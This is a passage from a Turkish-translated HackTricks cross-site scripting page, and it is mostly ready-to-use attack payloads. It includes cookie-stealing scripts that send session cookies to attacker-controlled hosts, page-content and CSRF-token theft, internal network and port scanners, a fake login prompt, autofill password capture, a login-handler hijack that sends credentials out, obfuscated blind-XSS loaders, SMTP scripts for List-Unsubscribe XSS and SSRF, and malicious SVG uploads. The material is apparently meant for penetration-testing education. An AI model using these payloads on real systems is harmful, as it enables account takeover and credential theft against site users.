<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

JavaScript’ten cookies’a erişemeyeceksiniz eğer cookie’de HTTPOnly flag ayarlanmışsa. Ancak burada bu korumayı atlatmanın bazı yolları var, eğer yeterince şanslıysanız.

Sayfa İçeriğini Çal

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

İç IP adreslerini bulma

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kısa süreler bir porta yanıt verildiğini gösterir Daha uzun süreler yanıt olmadığını gösterir.

Chrome’da yasaklanan portların listesini here ve Firefox’ta here inceleyin.

Kimlik bilgileri isteme kutusu

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Otomatik doldurma şifrelerini yakalama

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

password alanına herhangi bir veri girildiğinde, username ve password, saldırganın sunucusuna gönderilir; hatta istemci kaydedilmiş bir şifreyi seçse ve hiçbir şey yazmasa bile kimlik bilgiler ex-filtrated olur.

Hijack form handlers to exfiltrate credentials (const shadowing)

Eğer kritik bir handler (ör. function DoLogin(){...}) sayfada daha sonra beyan edilmişse ve payload’unuz daha önce çalışıyorsa (ör. inline JS-in-JS sink yoluyla), handler’ı öngörüp kilitlemek için aynı isimle önce bir const tanımlayın. Daha sonra gelen function deklarasyonları bir const ismini yeniden bağlayamaz; böylece hook’unuz kontrolü elinde tutar:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notlar

  • Bu, yürütme sırasına dayanır: enjeksiyonunuz meşru deklarasyon öncesinde çalışmalıdır.
  • Payload’ınız eval(...) ile sarılıysa, const/let bağlamaları global değişkenler haline gelmez. Gerçek bir global, yeniden bağlanamaz bağlama sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances” içindeki dinamik <script> enjeksiyon tekniğini kullanın.
  • Anahtar kelime filtreleri kodu engellediğinde, Unicode kaçışlı tanımlayıcılarla veya eval(atob('...')) teslimatıyla birleştirin, yukarıda gösterildiği gibi.

Keylogger

Sadece github’da arama yaparken birkaç farklı tane buldum:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage mesajlarını çalma

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

Eğer bir sayfa postMessage’ten gelen event.origin’i saklayıp daha sonra bunu bir script URL’sine ekliyorsa, gönderici yüklenen JS’in origin’ini kontrol eder:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

İstismar tarifi (CAPIG’den):

  • Gates: yalnızca window.opener mevcut olduğunda ve pixel_id allowlisted olduğunda tetiklenir; origin hiçbir zaman kontrol edilmez.
  • Use CSP-allowed origin: hedefin CSP’si tarafından zaten izin verilmiş bir domaine pivot yapın (ör. analytics’e izin veren çıkış yapılmamış yardım sayfaları gibi *.THIRD-PARTY.com) ve /sdk/<pixel_id>/iwl.js dosyasını takeover/XSS/upload ile orada barındırın.
  • Restore opener: Android WebView’de, window.name='x'; window.open(target,'x') sayfayı kendi opener’ı yapar; kötü amaçlı postMessage’ı ele geçirilmiş bir iframe’den gönderin.
  • Trigger: iframe {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>} gönderir; üst belge (parent) daha sonra CSP-allowed origin’den saldırgan iwl.js’i yükler ve çalıştırır.

Bu, origin-less postMessage doğrulamasını, politikanın zaten izin verdiği herhangi bir origin’e ulaşırsanız CSP’yi atlatan bir remote script loader primitive’ine dönüştürür.

Backend JS birleştirmesi ile tedarik zinciri stored XSS

Bir backend JS stringlerini kullanıcı kontrollü değerlerle birleştirerek paylaşılan bir SDK oluşturduğunda, herhangi bir tırnak/yapı kırıcı script enjekte edebilir ve bu her tüketiciye servis edilir:

  • Örnek desen (Meta CAPIG): sunucu cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); satırını doğrudan capig-events.js’e ekler.
  • ' veya "]} enjekte etmek literal/nesneyi kapatır ve saldırgan JS ekler, bu da onu yükleyen her site (first-party ve third-party) için dağıtılmış SDK’da stored XSS oluşturur.

Service Workers’ı Kötüye Kullanma

Abusing Service Workers

Shadow DOM’a Erişim

Shadow DOM

Polyglot’lar

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloadları

Ayrıca şunu da kullanabilirsiniz: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Gizli İçeriğe Erişim

Bu this writeup sayesinde, bazı değerler JS’ten kaybolsa bile, bunları farklı nesnelerdeki JS özelliklerinde bulmanın mümkün olduğunu öğrenebilirsiniz. Örneğin, bir REGEX girdisi, REGEX girdisinin değeri kaldırıldıktan sonra bile hâlâ bulunabilir:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS Abusing other vulnerabilities

XSS in Markdown

Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Kontrol edin:

XSS in Markdown

XSS to SSRF

Önbellekleme kullanan bir sitede XSS mı buldunuz? Edge Side Include Injection ile bunu SSRF’e yükseltmeyi deneyin; payload:

<esi:include src="http://yoursite.com/capture" />

Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.

XSS in dynamic created PDF

Eğer bir web sayfası kullanıcı kontrollü girdiyi kullanarak PDF oluşturuyorsa, PDF oluşturan botu trick the bot yaparak rastgele JS kodu çalıştırmaya kandırmayı deneyebilirsiniz.
Yani, eğer PDF creator bot finds bir tür HTML tags bulursa, bunları interpret edecek ve bu davranışı abuse ederek bir Server XSS oluşturabilirsiniz.

Server Side XSS (Dynamic PDF)

HTML tagleri enjekte edemiyorsanız, inject PDF data denemeye değer olabilir:

PDF Injection

XSS in Amp4Email

AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir ve hız ile güvenliğe vurgu yapar. Çeşitli özellikler için bir dizi bileşen destekler; bunlara AMP components üzerinden erişilebilir.

The AMP for Email formatı belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmasını sağlar.

Example writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

RFC 2369 List-Unsubscribe header’ı, birçok webmail ve mail istemcisinin otomatik olarak “Unsubscribe” butonlarına çevirdiği saldırgan kontrollü URI’ler içerir. Bu URI’ler doğrulanmadan render edildiğinde veya fetch edildiğinde, header hem stored XSS (unsubscribe linki DOM’a yerleştirilmişse) hem de SSRF (sunucu unsubscribe isteğini kullanıcının adına yapıyorsa) için bir enjeksiyon noktası haline gelir.

Stored XSS via javascript: URIs

  1. Send yourself an email: başlığın javascript: URI’sine işaret etmesini sağlayın ve spam filtrelerinin düşürmemesi için mesajın geri kalanını zararsız tutun.
  2. Ensure the UI renders the value (birçok istemci bunu “List Info” panelinde gösterir) ve ortaya çıkan <a> etiketinin href veya target gibi saldırgan kontrollü attribute’leri devralıp devralmadığını kontrol edin.
  3. Trigger execution (ör. CTRL+click, orta tıklama veya “open in new tab”) link target="_blank" kullandığında; tarayıcılar sağlanan JavaScript’i webmail uygulamasının origin’inde değerlendirecektir.
  4. Stored-XSS primitive’sini gözlemleyin: payload e-postayla birlikte kalıcı olur ve çalışması için sadece bir tıklama gerekir.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

URI içindeki newline baytı (%0a), Horde IMP H5 gibi savunmasız istemcilerde bile sıra dışı karakterlerin render hattından geçtiğini ve anchor tag içinde dizgiyi olduğu gibi çıktıladığını gösterir.

Minimal SMTP PoC: kötü amaçlı bir List-Unsubscribe header gönderen ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Sunucu tarafı unsubscribe proxy'leri -> SSRF

Nextcloud Mail uygulaması gibi bazı istemciler, unsubscribe eylemini sunucu tarafında proxy'ler: düğmeye tıklamak sunucunun sağlanan URL'yi kendisinin getirmesini sağlar. Bu, header'ı bir SSRF primitive'ine dönüştürür; özellikle yöneticiler `'allow_local_remote_servers' => true` olarak ayarladığında (belgelendiği gibi [HackerOne report 2902856](https://hackerone.com/reports/2902856)), bu loopback ve RFC1918 aralıklarına yönelik istekleri mümkün kılar.

1. **E-posta oluşturun**: `List-Unsubscribe` saldırgan-kontrollü bir endpoint'i hedeflesin (blind SSRF için Burp Collaborator / OAST kullanın).
2. **`List-Unsubscribe-Post: List-Unsubscribe=One-Click`'ı koruyun** ki UI tek tıklamayla unsubscribe düğmesi göstersin.
3. **Güven gereksinimlerini karşılayın**: Örneğin Nextcloud, yalnızca mesaj DKIM'i geçtiğinde HTTPS unsubscribe isteklerini yapar; bu yüzden saldırgan e-postayı kontrol ettiği bir domain ile imzalamalı.
4. **Mesajı hedef sunucu tarafından işlenen bir posta kutusuna teslim edin** ve bir kullanıcının unsubscribe düğmesine tıklamasını bekleyin.
5. **Sunucu tarafı callback'i** collaborator endpoint'inde gözlemleyin; primitive doğrulandığında iç adreslere pivot yapın.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
SSRF testi için DKIM-imzalı List-Unsubscribe mesajı ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Test notları**

- Bir OAST endpoint'i kullanarak blind SSRF isabetlerini toplayın; primitive doğrulandığında `List-Unsubscribe` URL'sini `http://127.0.0.1:PORT`, metadata services veya diğer dahili hostlara hedefleyecek şekilde uyarlayın.
- Unsubscribe helper genellikle uygulama ile aynı HTTP stack'ını yeniden kullandığı için, onun proxy ayarlarını, HTTP verbs ve header rewrites'larını devralırsınız; bu da [SSRF methodology](../ssrf-server-side-request-forgery/README.md) içinde açıklanan daha ileri traversal tricks'lere olanak tanır.

### XSS dosya yükleme (svg)

Aşağıdaki gibi bir dosyayı resim olarak yükleyin (kaynak: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Daha fazla SVG payloads için bak: https://github.com/allanlw/svg-cheatsheet

Çeşitli JS İpuçları & İlgili Bilgiler

Misc JS Tricks & Relevant Info

XSS kaynakları

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin